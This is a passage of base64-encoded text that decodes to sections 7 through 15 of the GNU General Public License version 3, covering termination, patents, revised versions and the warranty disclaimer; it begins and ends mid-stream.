mljdGlvbnMiIHdp\ndGhpbiB0aGUgbWVhbmluZyBvZiBzZWN0aW9uIDEwLiAgSWYgdGhlIFByb2dy\nYW0gYXMgeW91CnJlY2VpdmVkIGl0LCBvciBhbnkgcGFydCBvZiBpdCwgY29u\ndGFpbnMgYSBub3RpY2Ugc3RhdGluZyB0aGF0IGl0IGlzCmdvdmVybmVkIGJ5\nIHRoaXMgTGljZW5zZSBhbG9uZyB3aXRoIGEgdGVybSB0aGF0IGlzIGEgZnVy\ndGhlcgpyZXN0cmljdGlvbiwgeW91IG1heSByZW1vdmUgdGhhdCB0ZXJtLiAg\nSWYgYSBsaWNlbnNlIGRvY3VtZW50IGNvbnRhaW5zCmEgZnVydGhlciByZXN0\ncmljdGlvbiBidXQgcGVybWl0cyByZWxpY2Vuc2luZyBvciBjb252ZXlpbmcg\ndW5kZXIgdGhpcwpMaWNlbnNlLCB5b3UgbWF5IGFkZCB0byBhIGNvdmVyZWQg\nd29yayBtYXRlcmlhbCBnb3Zlcm5lZCBieSB0aGUgdGVybXMKb2YgdGhhdCBs\naWNlbnNlIGRvY3VtZW50LCBwcm92aWRlZCB0aGF0IHRoZSBmdXJ0aGVyIHJl\nc3RyaWN0aW9uIGRvZXMKbm90IHN1cnZpdmUgc3VjaCByZWxpY2Vuc2luZyBv\nciBjb252ZXlpbmcuCgogIElmIHlvdSBhZGQgdGVybXMgdG8gYSBjb3ZlcmVk\nIHdvcmsgaW4gYWNjb3JkIHdpdGggdGhpcyBzZWN0aW9uLCB5b3UKbXVzdCBw\nbGFjZSwgaW4gdGhlIHJlbGV2YW50IHNvdXJjZSBmaWxlcywgYSBzdGF0ZW1l\nbnQgb2YgdGhlCmFkZGl0aW9uYWwgdGVybXMgdGhhdCBhcHBseSB0byB0aG9z\nZSBmaWxlcywgb3IgYSBub3RpY2UgaW5kaWNhdGluZwp3aGVyZSB0byBmaW5k\nIHRoZSBhcHBsaWNhYmxlIHRlcm1zLgoKICBBZGRpdGlvbmFsIHRlcm1zLCBw\nZXJtaXNzaXZlIG9yIG5vbi1wZXJtaXNzaXZlLCBtYXkgYmUgc3RhdGVkIGlu\nIHRoZQpmb3JtIG9mIGEgc2VwYXJhdGVseSB3cml0dGVuIGxpY2Vuc2UsIG9y\nIHN0YXRlZCBhcyBleGNlcHRpb25zOwp0aGUgYWJvdmUgcmVxdWlyZW1lbnRz\nIGFwcGx5IGVpdGhlciB3YXkuCgogIDguIFRlcm1pbmF0aW9uLgoKICBZb3Ug\nbWF5IG5vdCBwcm9wYWdhdGUgb3IgbW9kaWZ5IGEgY292ZXJlZCB3b3JrIGV4\nY2VwdCBhcyBleHByZXNzbHkKcHJvdmlkZWQgdW5kZXIgdGhpcyBMaWNlbnNl\nLiAgQW55IGF0dGVtcHQgb3RoZXJ3aXNlIHRvIHByb3BhZ2F0ZSBvcgptb2Rp\nZnkgaXQgaXMgdm9pZCwgYW5kIHdpbGwgYXV0b21hdGljYWxseSB0ZXJtaW5h\ndGUgeW91ciByaWdodHMgdW5kZXIKdGhpcyBMaWNlbnNlIChpbmNsdWRpbmcg\nYW55IHBhdGVudCBsaWNlbnNlcyBncmFudGVkIHVuZGVyIHRoZSB0aGlyZApw\nYXJhZ3JhcGggb2Ygc2VjdGlvbiAxMSkuCgogIEhvd2V2ZXIsIGlmIHlvdSBj\nZWFzZSBhbGwgdmlvbGF0aW9uIG9mIHRoaXMgTGljZW5zZSwgdGhlbiB5b3Vy\nCmxpY2Vuc2UgZnJvbSBhIHBhcnRpY3VsYXIgY29weXJpZ2h0IGhvbGRlciBp\ncyByZWluc3RhdGVkIChhKQpwcm92aXNpb25hbGx5LCB1bmxlc3MgYW5kIHVu\ndGlsIHRoZSBjb3B5cmlnaHQgaG9sZGVyIGV4cGxpY2l0bHkgYW5kCmZpbmFs\nbHkgdGVybWluYXRlcyB5b3VyIGxpY2Vuc2UsIGFuZCAoYikgcGVybWFuZW50\nbHksIGlmIHRoZSBjb3B5cmlnaHQKaG9sZGVyIGZhaWxzIHRvIG5vdGlmeSB5\nb3Ugb2YgdGhlIHZpb2xhdGlvbiBieSBzb21lIHJlYXNvbmFibGUgbWVhbnMK\ncHJpb3IgdG8gNjAgZGF5cyBhZnRlciB0aGUgY2Vzc2F0aW9uLgoKICBNb3Jl\nb3ZlciwgeW91ciBsaWNlbnNlIGZyb20gYSBwYXJ0aWN1bGFyIGNvcHlyaWdo\ndCBob2xkZXIgaXMKcmVpbnN0YXRlZCBwZXJtYW5lbnRseSBpZiB0aGUgY29w\neXJpZ2h0IGhvbGRlciBub3RpZmllcyB5b3Ugb2YgdGhlCnZpb2xhdGlvbiBi\neSBzb21lIHJlYXNvbmFibGUgbWVhbnMsIHRoaXMgaXMgdGhlIGZpcnN0IHRp\nbWUgeW91IGhhdmUKcmVjZWl2ZWQgbm90aWNlIG9mIHZpb2xhdGlvbiBvZiB0\naGlzIExpY2Vuc2UgKGZvciBhbnkgd29yaykgZnJvbSB0aGF0CmNvcHlyaWdo\ndCBob2xkZXIsIGFuZCB5b3UgY3VyZSB0aGUgdmlvbGF0aW9uIHByaW9yIHRv\nIDMwIGRheXMgYWZ0ZXIKeW91ciByZWNlaXB0IG9mIHRoZSBub3RpY2UuCgog\nIFRlcm1pbmF0aW9uIG9mIHlvdXIgcmlnaHRzIHVuZGVyIHRoaXMgc2VjdGlv\nbiBkb2VzIG5vdCB0ZXJtaW5hdGUgdGhlCmxpY2Vuc2VzIG9mIHBhcnRpZXMg\nd2hvIGhhdmUgcmVjZWl2ZWQgY29waWVzIG9yIHJpZ2h0cyBmcm9tIHlvdSB1\nbmRlcgp0aGlzIExpY2Vuc2UuICBJZiB5b3VyIHJpZ2h0cyBoYXZlIGJlZW4g\ndGVybWluYXRlZCBhbmQgbm90IHBlcm1hbmVudGx5CnJlaW5zdGF0ZWQsIHlv\ndSBkbyBub3QgcXVhbGlmeSB0byByZWNlaXZlIG5ldyBsaWNlbnNlcyBmb3Ig\ndGhlIHNhbWUKbWF0ZXJpYWwgdW5kZXIgc2VjdGlvbiAxMC4KCiAgOS4gQWNj\nZXB0YW5jZSBOb3QgUmVxdWlyZWQgZm9yIEhhdmluZyBDb3BpZXMuCgogIFlv\ndSBhcmUgbm90IHJlcXVpcmVkIHRvIGFjY2VwdCB0aGlzIExpY2Vuc2UgaW4g\nb3JkZXIgdG8gcmVjZWl2ZSBvcgpydW4gYSBjb3B5IG9mIHRoZSBQcm9ncmFt\nLiAgQW5jaWxsYXJ5IHByb3BhZ2F0aW9uIG9mIGEgY292ZXJlZCB3b3JrCm9j\nY3VycmluZyBzb2xlbHkgYXMgYSBjb25zZXF1ZW5jZSBvZiB1c2luZyBwZWVy\nLXRvLXBlZXIgdHJhbnNtaXNzaW9uCnRvIHJlY2VpdmUgYSBjb3B5IGxpa2V3\naXNlIGRvZXMgbm90IHJlcXVpcmUgYWNjZXB0YW5jZS4gIEhvd2V2ZXIsCm5v\ndGhpbmcgb3RoZXIgdGhhbiB0aGlzIExpY2Vuc2UgZ3JhbnRzIHlvdSBwZXJt\naXNzaW9uIHRvIHByb3BhZ2F0ZSBvcgptb2RpZnkgYW55IGNvdmVyZWQgd29y\nay4gIFRoZXNlIGFjdGlvbnMgaW5mcmluZ2UgY29weXJpZ2h0IGlmIHlvdSBk\nbwpub3QgYWNjZXB0IHRoaXMgTGljZW5zZS4gIFRoZXJlZm9yZSwgYnkgbW9k\naWZ5aW5nIG9yIHByb3BhZ2F0aW5nIGEKY292ZXJlZCB3b3JrLCB5b3UgaW5k\naWNhdGUgeW91ciBhY2NlcHRhbmNlIG9mIHRoaXMgTGljZW5zZSB0byBkbyBz\nby4KCiAgMTAuIEF1dG9tYXRpYyBMaWNlbnNpbmcgb2YgRG93bnN0cmVhbSBS\nZWNpcGllbnRzLgoKICBFYWNoIHRpbWUgeW91IGNvbnZleSBhIGNvdmVyZWQg\nd29yaywgdGhlIHJlY2lwaWVudCBhdXRvbWF0aWNhbGx5CnJlY2VpdmVzIGEg\nbGljZW5zZSBmcm9tIHRoZSBvcmlnaW5hbCBsaWNlbnNvcnMsIHRvIHJ1biwg\nbW9kaWZ5IGFuZApwcm9wYWdhdGUgdGhhdCB3b3JrLCBzdWJqZWN0IHRvIHRo\naXMgTGljZW5zZS4gIFlvdSBhcmUgbm90IHJlc3BvbnNpYmxlCmZvciBlbmZv\ncmNpbmcgY29tcGxpYW5jZSBieSB0aGlyZCBwYXJ0aWVzIHdpdGggdGhpcyBM\naWNlbnNlLgoKICBBbiAiZW50aXR5IHRyYW5zYWN0aW9uIiBpcyBhIHRyYW5z\nYWN0aW9uIHRyYW5zZmVycmluZyBjb250cm9sIG9mIGFuCm9yZ2FuaXphdGlv\nbiwgb3Igc3Vic3RhbnRpYWxseSBhbGwgYXNzZXRzIG9mIG9uZSwgb3Igc3Vi\nZGl2aWRpbmcgYW4Kb3JnYW5pemF0aW9uLCBvciBtZXJnaW5nIG9yZ2FuaXph\ndGlvbnMuICBJZiBwcm9wYWdhdGlvbiBvZiBhIGNvdmVyZWQKd29yayByZXN1\nbHRzIGZyb20gYW4gZW50aXR5IHRyYW5zYWN0aW9uLCBlYWNoIHBhcnR5IHRv\nIHRoYXQKdHJhbnNhY3Rpb24gd2hvIHJlY2VpdmVzIGEgY29weSBvZiB0aGUg\nd29yayBhbHNvIHJlY2VpdmVzIHdoYXRldmVyCmxpY2Vuc2VzIHRvIHRoZSB3\nb3JrIHRoZSBwYXJ0eSdzIHByZWRlY2Vzc29yIGluIGludGVyZXN0IGhhZCBv\nciBjb3VsZApnaXZlIHVuZGVyIHRoZSBwcmV2aW91cyBwYXJhZ3JhcGgsIHBs\ndXMgYSByaWdodCB0byBwb3NzZXNzaW9uIG9mIHRoZQpDb3JyZXNwb25kaW5n\nIFNvdXJjZSBvZiB0aGUgd29yayBmcm9tIHRoZSBwcmVkZWNlc3NvciBpbiBp\nbnRlcmVzdCwgaWYKdGhlIHByZWRlY2Vzc29yIGhhcyBpdCBvciBjYW4gZ2V0\nIGl0IHdpdGggcmVhc29uYWJsZSBlZmZvcnRzLgoKICBZb3UgbWF5IG5vdCBp\nbXBvc2UgYW55IGZ1cnRoZXIgcmVzdHJpY3Rpb25zIG9uIHRoZSBleGVyY2lz\nZSBvZiB0aGUKcmlnaHRzIGdyYW50ZWQgb3IgYWZmaXJtZWQgdW5kZXIgdGhp\ncyBMaWNlbnNlLiAgRm9yIGV4YW1wbGUsIHlvdSBtYXkKbm90IGltcG9zZSBh\nIGxpY2Vuc2UgZmVlLCByb3lhbHR5LCBvciBvdGhlciBjaGFyZ2UgZm9yIGV4\nZXJjaXNlIG9mCnJpZ2h0cyBncmFudGVkIHVuZGVyIHRoaXMgTGljZW5zZSwg\nYW5kIHlvdSBtYXkgbm90IGluaXRpYXRlIGxpdGlnYXRpb24KKGluY2x1ZGlu\nZyBhIGNyb3NzLWNsYWltIG9yIGNvdW50ZXJjbGFpbSBpbiBhIGxhd3N1aXQp\nIGFsbGVnaW5nIHRoYXQKYW55IHBhdGVudCBjbGFpbSBpcyBpbmZyaW5nZWQg\nYnkgbWFraW5nLCB1c2luZywgc2VsbGluZywgb2ZmZXJpbmcgZm9yCnNhbGUs\nIG9yIGltcG9ydGluZyB0aGUgUHJvZ3JhbSBvciBhbnkgcG9ydGlvbiBvZiBp\ndC4KCiAgMTEuIFBhdGVudHMuCgogIEEgImNvbnRyaWJ1dG9yIiBpcyBhIGNv\ncHlyaWdodCBob2xkZXIgd2hvIGF1dGhvcml6ZXMgdXNlIHVuZGVyIHRoaXMK\nTGljZW5zZSBvZiB0aGUgUHJvZ3JhbSBvciBhIHdvcmsgb24gd2hpY2ggdGhl\nIFByb2dyYW0gaXMgYmFzZWQuICBUaGUKd29yayB0aHVzIGxpY2Vuc2VkIGlz\nIGNhbGxlZCB0aGUgY29udHJpYnV0b3IncyAiY29udHJpYnV0b3IgdmVyc2lv\nbiIuCgogIEEgY29udHJpYnV0b3IncyAiZXNzZW50aWFsIHBhdGVudCBjbGFp\nbXMiIGFyZSBhbGwgcGF0ZW50IGNsYWltcwpvd25lZCBvciBjb250cm9sbGVk\nIGJ5IHRoZSBjb250cmlidXRvciwgd2hldGhlciBhbHJlYWR5IGFjcXVpcmVk\nIG9yCmhlcmVhZnRlciBhY3F1aXJlZCwgdGhhdCB3b3VsZCBiZSBpbmZyaW5n\nZWQgYnkgc29tZSBtYW5uZXIsIHBlcm1pdHRlZApieSB0aGlzIExpY2Vuc2Us\nIG9mIG1ha2luZywgdXNpbmcsIG9yIHNlbGxpbmcgaXRzIGNvbnRyaWJ1dG9y\nIHZlcnNpb24sCmJ1dCBkbyBub3QgaW5jbHVkZSBjbGFpbXMgdGhhdCB3b3Vs\nZCBiZSBpbmZyaW5nZWQgb25seSBhcyBhCmNvbnNlcXVlbmNlIG9mIGZ1cnRo\nZXIgbW9kaWZpY2F0aW9uIG9mIHRoZSBjb250cmlidXRvciB2ZXJzaW9uLiAg\nRm9yCnB1cnBvc2VzIG9mIHRoaXMgZGVmaW5pdGlvbiwgImNvbnRyb2wiIGlu\nY2x1ZGVzIHRoZSByaWdodCB0byBncmFudApwYXRlbnQgc3VibGljZW5zZXMg\naW4gYSBtYW5uZXIgY29uc2lzdGVudCB3aXRoIHRoZSByZXF1aXJlbWVudHMg\nb2YKdGhpcyBMaWNlbnNlLgoKICBFYWNoIGNvbnRyaWJ1dG9yIGdyYW50cyB5\nb3UgYSBub24tZXhjbHVzaXZlLCB3b3JsZHdpZGUsIHJveWFsdHktZnJlZQpw\nYXRlbnQgbGljZW5zZSB1bmRlciB0aGUgY29udHJpYnV0b3IncyBlc3NlbnRp\nYWwgcGF0ZW50IGNsYWltcywgdG8KbWFrZSwgdXNlLCBzZWxsLCBvZmZlciBm\nb3Igc2FsZSwgaW1wb3J0IGFuZCBvdGhlcndpc2UgcnVuLCBtb2RpZnkgYW5k\nCnByb3BhZ2F0ZSB0aGUgY29udGVudHMgb2YgaXRzIGNvbnRyaWJ1dG9yIHZl\ncnNpb24uCgogIEluIHRoZSBmb2xsb3dpbmcgdGhyZWUgcGFyYWdyYXBocywg\nYSAicGF0ZW50IGxpY2Vuc2UiIGlzIGFueSBleHByZXNzCmFncmVlbWVudCBv\nciBjb21taXRtZW50LCBob3dldmVyIGRlbm9taW5hdGVkLCBub3QgdG8gZW5m\nb3JjZSBhIHBhdGVudAooc3VjaCBhcyBhbiBleHByZXNzIHBlcm1pc3Npb24g\ndG8gcHJhY3RpY2UgYSBwYXRlbnQgb3IgY292ZW5hbnQgbm90IHRvCnN1ZSBm\nb3IgcGF0ZW50IGluZnJpbmdlbWVudCkuICBUbyAiZ3JhbnQiIHN1Y2ggYSBw\nYXRlbnQgbGljZW5zZSB0byBhCnBhcnR5IG1lYW5zIHRvIG1ha2Ugc3VjaCBh\nbiBhZ3JlZW1lbnQgb3IgY29tbWl0bWVudCBub3QgdG8gZW5mb3JjZSBhCnBh\ndGVudCBhZ2FpbnN0IHRoZSBwYXJ0eS4KCiAgSWYgeW91IGNvbnZleSBhIGNv\ndmVyZWQgd29yaywga25vd2luZ2x5IHJlbHlpbmcgb24gYSBwYXRlbnQgbGlj\nZW5zZSwKYW5kIHRoZSBDb3JyZXNwb25kaW5nIFNvdXJjZSBvZiB0aGUgd29y\nayBpcyBub3QgYXZhaWxhYmxlIGZvciBhbnlvbmUKdG8gY29weSwgZnJlZSBv\nZiBjaGFyZ2UgYW5kIHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGlzIExpY2Vuc2Us\nIHRocm91Z2ggYQpwdWJsaWNseSBhdmFpbGFibGUgbmV0d29yayBzZXJ2ZXIg\nb3Igb3RoZXIgcmVhZGlseSBhY2Nlc3NpYmxlIG1lYW5zLAp0aGVuIHlvdSBt\ndXN0IGVpdGhlciAoMSkgY2F1c2UgdGhlIENvcnJlc3BvbmRpbmcgU291cmNl\nIHRvIGJlIHNvCmF2YWlsYWJsZSwgb3IgKDIpIGFycmFuZ2UgdG8gZGVwcml2\nZSB5b3Vyc2VsZiBvZiB0aGUgYmVuZWZpdCBvZiB0aGUKcGF0ZW50IGxpY2Vu\nc2UgZm9yIHRoaXMgcGFydGljdWxhciB3b3JrLCBvciAoMykgYXJyYW5nZSwg\naW4gYSBtYW5uZXIKY29uc2lzdGVudCB3aXRoIHRoZSByZXF1aXJlbWVudHMg\nb2YgdGhpcyBMaWNlbnNlLCB0byBleHRlbmQgdGhlIHBhdGVudApsaWNlbnNl\nIHRvIGRvd25zdHJlYW0gcmVjaXBpZW50cy4gICJLbm93aW5nbHkgcmVseWlu\nZyIgbWVhbnMgeW91IGhhdmUKYWN0dWFsIGtub3dsZWRnZSB0aGF0LCBidXQg\nZm9yIHRoZSBwYXRlbnQgbGljZW5zZSwgeW91ciBjb252ZXlpbmcgdGhlCmNv\ndmVyZWQgd29yayBpbiBhIGNvdW50cnksIG9yIHlvdXIgcmVjaXBpZW50J3Mg\ndXNlIG9mIHRoZSBjb3ZlcmVkIHdvcmsKaW4gYSBjb3VudHJ5LCB3b3VsZCBp\nbmZyaW5nZSBvbmUgb3IgbW9yZSBpZGVudGlmaWFibGUgcGF0ZW50cyBpbiB0\naGF0CmNvdW50cnkgdGhhdCB5b3UgaGF2ZSByZWFzb24gdG8gYmVsaWV2ZSBh\ncmUgdmFsaWQuCgogIElmLCBwdXJzdWFudCB0byBvciBpbiBjb25uZWN0aW9u\nIHdpdGggYSBzaW5nbGUgdHJhbnNhY3Rpb24gb3IKYXJyYW5nZW1lbnQsIHlv\ndSBjb252ZXksIG9yIHByb3BhZ2F0ZSBieSBwcm9jdXJpbmcgY29udmV5YW5j\nZSBvZiwgYQpjb3ZlcmVkIHdvcmssIGFuZCBncmFudCBhIHBhdGVudCBsaWNl\nbnNlIHRvIHNvbWUgb2YgdGhlIHBhcnRpZXMKcmVjZWl2aW5nIHRoZSBjb3Zl\ncmVkIHdvcmsgYXV0aG9yaXppbmcgdGhlbSB0byB1c2UsIHByb3BhZ2F0ZSwg\nbW9kaWZ5Cm9yIGNvbnZleSBhIHNwZWNpZmljIGNvcHkgb2YgdGhlIGNvdmVy\nZWQgd29yaywgdGhlbiB0aGUgcGF0ZW50IGxpY2Vuc2UKeW91IGdyYW50IGlz\nIGF1dG9tYXRpY2FsbHkgZXh0ZW5kZWQgdG8gYWxsIHJlY2lwaWVudHMgb2Yg\ndGhlIGNvdmVyZWQKd29yayBhbmQgd29ya3MgYmFzZWQgb24gaXQuCgogIEEg\ncGF0ZW50IGxpY2Vuc2UgaXMgImRpc2NyaW1pbmF0b3J5IiBpZiBpdCBkb2Vz\nIG5vdCBpbmNsdWRlIHdpdGhpbgp0aGUgc2NvcGUgb2YgaXRzIGNvdmVyYWdl\nLCBwcm9oaWJpdHMgdGhlIGV4ZXJjaXNlIG9mLCBvciBpcwpjb25kaXRpb25l\nZCBvbiB0aGUgbm9uLWV4ZXJjaXNlIG9mIG9uZSBvciBtb3JlIG9mIHRoZSBy\naWdodHMgdGhhdCBhcmUKc3BlY2lmaWNhbGx5IGdyYW50ZWQgdW5kZXIgdGhp\ncyBMaWNlbnNlLiAgWW91IG1heSBub3QgY29udmV5IGEgY292ZXJlZAp3b3Jr\nIGlmIHlvdSBhcmUgYSBwYXJ0eSB0byBhbiBhcnJhbmdlbWVudCB3aXRoIGEg\ndGhpcmQgcGFydHkgdGhhdCBpcwppbiB0aGUgYnVzaW5lc3Mgb2YgZGlzdHJp\nYnV0aW5nIHNvZnR3YXJlLCB1bmRlciB3aGljaCB5b3UgbWFrZSBwYXltZW50\nCnRvIHRoZSB0aGlyZCBwYXJ0eSBiYXNlZCBvbiB0aGUgZXh0ZW50IG9mIHlv\ndXIgYWN0aXZpdHkgb2YgY29udmV5aW5nCnRoZSB3b3JrLCBhbmQgdW5kZXIg\nd2hpY2ggdGhlIHRoaXJkIHBhcnR5IGdyYW50cywgdG8gYW55IG9mIHRoZQpw\nYXJ0aWVzIHdobyB3b3VsZCByZWNlaXZlIHRoZSBjb3ZlcmVkIHdvcmsgZnJv\nbSB5b3UsIGEgZGlzY3JpbWluYXRvcnkKcGF0ZW50IGxpY2Vuc2UgKGEpIGlu\nIGNvbm5lY3Rpb24gd2l0aCBjb3BpZXMgb2YgdGhlIGNvdmVyZWQgd29yawpj\nb252ZXllZCBieSB5b3UgKG9yIGNvcGllcyBtYWRlIGZyb20gdGhvc2UgY29w\naWVzKSwgb3IgKGIpIHByaW1hcmlseQpmb3IgYW5kIGluIGNvbm5lY3Rpb24g\nd2l0aCBzcGVjaWZpYyBwcm9kdWN0cyBvciBjb21waWxhdGlvbnMgdGhhdApj\nb250YWluIHRoZSBjb3ZlcmVkIHdvcmssIHVubGVzcyB5b3UgZW50ZXJlZCBp\nbnRvIHRoYXQgYXJyYW5nZW1lbnQsCm9yIHRoYXQgcGF0ZW50IGxpY2Vuc2Ug\nd2FzIGdyYW50ZWQsIHByaW9yIHRvIDI4IE1hcmNoIDIwMDcuCgogIE5vdGhp\nbmcgaW4gdGhpcyBMaWNlbnNlIHNoYWxsIGJlIGNvbnN0cnVlZCBhcyBleGNs\ndWRpbmcgb3IgbGltaXRpbmcKYW55IGltcGxpZWQgbGljZW5zZSBvciBvdGhl\nciBkZWZlbnNlcyB0byBpbmZyaW5nZW1lbnQgdGhhdCBtYXkKb3RoZXJ3aXNl\nIGJlIGF2YWlsYWJsZSB0byB5b3UgdW5kZXIgYXBwbGljYWJsZSBwYXRlbnQg\nbGF3LgoKICAxMi4gTm8gU3VycmVuZGVyIG9mIE90aGVycycgRnJlZWRvbS4K\nCiAgSWYgY29uZGl0aW9ucyBhcmUgaW1wb3NlZCBvbiB5b3UgKHdoZXRoZXIg\nYnkgY291cnQgb3JkZXIsIGFncmVlbWVudCBvcgpvdGhlcndpc2UpIHRoYXQg\nY29udHJhZGljdCB0aGUgY29uZGl0aW9ucyBvZiB0aGlzIExpY2Vuc2UsIHRo\nZXkgZG8gbm90CmV4Y3VzZSB5b3UgZnJvbSB0aGUgY29uZGl0aW9ucyBvZiB0\naGlzIExpY2Vuc2UuICBJZiB5b3UgY2Fubm90IGNvbnZleSBhCmNvdmVyZWQg\nd29yayBzbyBhcyB0byBzYXRpc2Z5IHNpbXVsdGFuZW91c2x5IHlvdXIgb2Js\naWdhdGlvbnMgdW5kZXIgdGhpcwpMaWNlbnNlIGFuZCBhbnkgb3RoZXIgcGVy\ndGluZW50IG9ibGlnYXRpb25zLCB0aGVuIGFzIGEgY29uc2VxdWVuY2UgeW91\nIG1heQpub3QgY29udmV5IGl0IGF0IGFsbC4gIEZvciBleGFtcGxlLCBpZiB5\nb3UgYWdyZWUgdG8gdGVybXMgdGhhdCBvYmxpZ2F0ZSB5b3UKdG8gY29sbGVj\ndCBhIHJveWFsdHkgZm9yIGZ1cnRoZXIgY29udmV5aW5nIGZyb20gdGhvc2Ug\ndG8gd2hvbSB5b3UgY29udmV5CnRoZSBQcm9ncmFtLCB0aGUgb25seSB3YXkg\neW91IGNvdWxkIHNhdGlzZnkgYm90aCB0aG9zZSB0ZXJtcyBhbmQgdGhpcwpM\naWNlbnNlIHdvdWxkIGJlIHRvIHJlZnJhaW4gZW50aXJlbHkgZnJvbSBjb252\nZXlpbmcgdGhlIFByb2dyYW0uCgogIDEzLiBVc2Ugd2l0aCB0aGUgR05VIEFm\nZmVybyBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlLgoKICBOb3R3aXRoc3RhbmRp\nbmcgYW55IG90aGVyIHByb3Zpc2lvbiBvZiB0aGlzIExpY2Vuc2UsIHlvdSBo\nYXZlCnBlcm1pc3Npb24gdG8gbGluayBvciBjb21iaW5lIGFueSBjb3ZlcmVk\nIHdvcmsgd2l0aCBhIHdvcmsgbGljZW5zZWQKdW5kZXIgdmVyc2lvbiAzIG9m\nIHRoZSBHTlUgQWZmZXJvIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgaW50byBh\nIHNpbmdsZQpjb21iaW5lZCB3b3JrLCBhbmQgdG8gY29udmV5IHRoZSByZXN1\nbHRpbmcgd29yay4gIFRoZSB0ZXJtcyBvZiB0aGlzCkxpY2Vuc2Ugd2lsbCBj\nb250aW51ZSB0byBhcHBseSB0byB0aGUgcGFydCB3aGljaCBpcyB0aGUgY292\nZXJlZCB3b3JrLApidXQgdGhlIHNwZWNpYWwgcmVxdWlyZW1lbnRzIG9mIHRo\nZSBHTlUgQWZmZXJvIEdlbmVyYWwgUHVibGljIExpY2Vuc2UsCnNlY3Rpb24g\nMTMsIGNvbmNlcm5pbmcgaW50ZXJhY3Rpb24gdGhyb3VnaCBhIG5ldHdvcmsg\nd2lsbCBhcHBseSB0byB0aGUKY29tYmluYXRpb24gYXMgc3VjaC4KCiAgMTQu\nIFJldmlzZWQgVmVyc2lvbnMgb2YgdGhpcyBMaWNlbnNlLgoKICBUaGUgRnJl\nZSBTb2Z0d2FyZSBGb3VuZGF0aW9uIG1heSBwdWJsaXNoIHJldmlzZWQgYW5k\nL29yIG5ldyB2ZXJzaW9ucyBvZgp0aGUgR05VIEdlbmVyYWwgUHVibGljIExp\nY2Vuc2UgZnJvbSB0aW1lIHRvIHRpbWUuICBTdWNoIG5ldyB2ZXJzaW9ucyB3\naWxsCmJlIHNpbWlsYXIgaW4gc3Bpcml0IHRvIHRoZSBwcmVzZW50IHZlcnNp\nb24sIGJ1dCBtYXkgZGlmZmVyIGluIGRldGFpbCB0bwphZGRyZXNzIG5ldyBw\ncm9ibGVtcyBvciBjb25jZXJucy4KCiAgRWFjaCB2ZXJzaW9uIGlzIGdpdmVu\nIGEgZGlzdGluZ3Vpc2hpbmcgdmVyc2lvbiBudW1iZXIuICBJZiB0aGUKUHJv\nZ3JhbSBzcGVjaWZpZXMgdGhhdCBhIGNlcnRhaW4gbnVtYmVyZWQgdmVyc2lv\nbiBvZiB0aGUgR05VIEdlbmVyYWwKUHVibGljIExpY2Vuc2UgIm9yIGFueSBs\nYXRlciB2ZXJzaW9uIiBhcHBsaWVzIHRvIGl0LCB5b3UgaGF2ZSB0aGUKb3B0\naW9uIG9mIGZvbGxvd2luZyB0aGUgdGVybXMgYW5kIGNvbmRpdGlvbnMgZWl0\naGVyIG9mIHRoYXQgbnVtYmVyZWQKdmVyc2lvbiBvciBvZiBhbnkgbGF0ZXIg\ndmVyc2lvbiBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUKRm91bmRh\ndGlvbi4gIElmIHRoZSBQcm9ncmFtIGRvZXMgbm90IHNwZWNpZnkgYSB2ZXJz\naW9uIG51bWJlciBvZiB0aGUKR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2Us\nIHlvdSBtYXkgY2hvb3NlIGFueSB2ZXJzaW9uIGV2ZXIgcHVibGlzaGVkCmJ5\nIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24uCgogIElmIHRoZSBQcm9n\ncmFtIHNwZWNpZmllcyB0aGF0IGEgcHJveHkgY2FuIGRlY2lkZSB3aGljaCBm\ndXR1cmUKdmVyc2lvbnMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNl\nbnNlIGNhbiBiZSB1c2VkLCB0aGF0IHByb3h5J3MKcHVibGljIHN0YXRlbWVu\ndCBvZiBhY2NlcHRhbmNlIG9mIGEgdmVyc2lvbiBwZXJtYW5lbnRseSBhdXRo\nb3JpemVzIHlvdQp0byBjaG9vc2UgdGhhdCB2ZXJzaW9uIGZvciB0aGUgUHJv\nZ3JhbS4KCiAgTGF0ZXIgbGljZW5zZSB2ZXJzaW9ucyBtYXkgZ2l2ZSB5b3Ug\nYWRkaXRpb25hbCBvciBkaWZmZXJlbnQKcGVybWlzc2lvbnMuICBIb3dldmVy\nLCBubyBhZGRpdGlvbmFsIG9ibGlnYXRpb25zIGFyZSBpbXBvc2VkIG9uIGFu\neQphdXRob3Igb3IgY29weXJpZ2h0IGhvbGRlciBhcyBhIHJlc3VsdCBvZiB5\nb3VyIGNob29zaW5nIHRvIGZvbGxvdyBhCmxhdGVyIHZlcnNpb24uCgogIDE1\nLiBEaXNjbGFpbWVyIG9mIFdhcnJhbnR5LgoKICBUSEVSRSBJUyBOTyBXQVJS\nQU5UWSBGT1IgVEhFIFBST0dSQU0sIFRPIFRIRSBFWFRFTlQgUEVSTUlUVEVE\nIEJZCkFQUExJQ0FCTEUgTEFXLiAgRVhDRVBUIFdIRU4gT1RIRVJXSVNFIFNU\nQVRFRCBJTiBXUklUSU5HIFRIRSBDT1BZUklHSFQKSE9MREVSUyBBTkQvT1Ig\nT1RIRVIgUEFSVElFUyBQUk9WSURFIFRIRSBQUk9HUkFNICJBUyBJUyIgV0lU\nSE9VVCBXQVJSQU5UWQpPRiBBTlkgS0lORCwgRUlUSEVSIEVYUFJFU1NFRCBP\nUiBJTVBMSUVELCBJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywKVEhF\nIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJ\nVE5FU1MgRk9SIEEgUEFSVElDVUxBUgpQVVJQT1NFLiAgVEhFIEVOVElSRSBS\nSVNLIEFTIFRPIFRIRSBRVUFMSVRZIEFORCBQRVJGT1JNQU5DRSBPRiBUSEUg\nUFJPR1JBTQpJUyBXSVRIIFlPVS4gIFNIT1VMRCBUSEUgUFJPR1JBTSBQUk9W\nRSBERUZFQ1RJVkUsIFlPVSBBU1NVTUUgVEhFIENPU1QgT0YKQUxMIE5FQ0VT\nU0FSWSBTRVJWSUNJTkcsIFJFUEFJUiBPUiBDT1JSRUNUSU9OLgoKICAxNi4g\nTGltaXRhdGlvbiBvZiBMaWFiaWxpdHku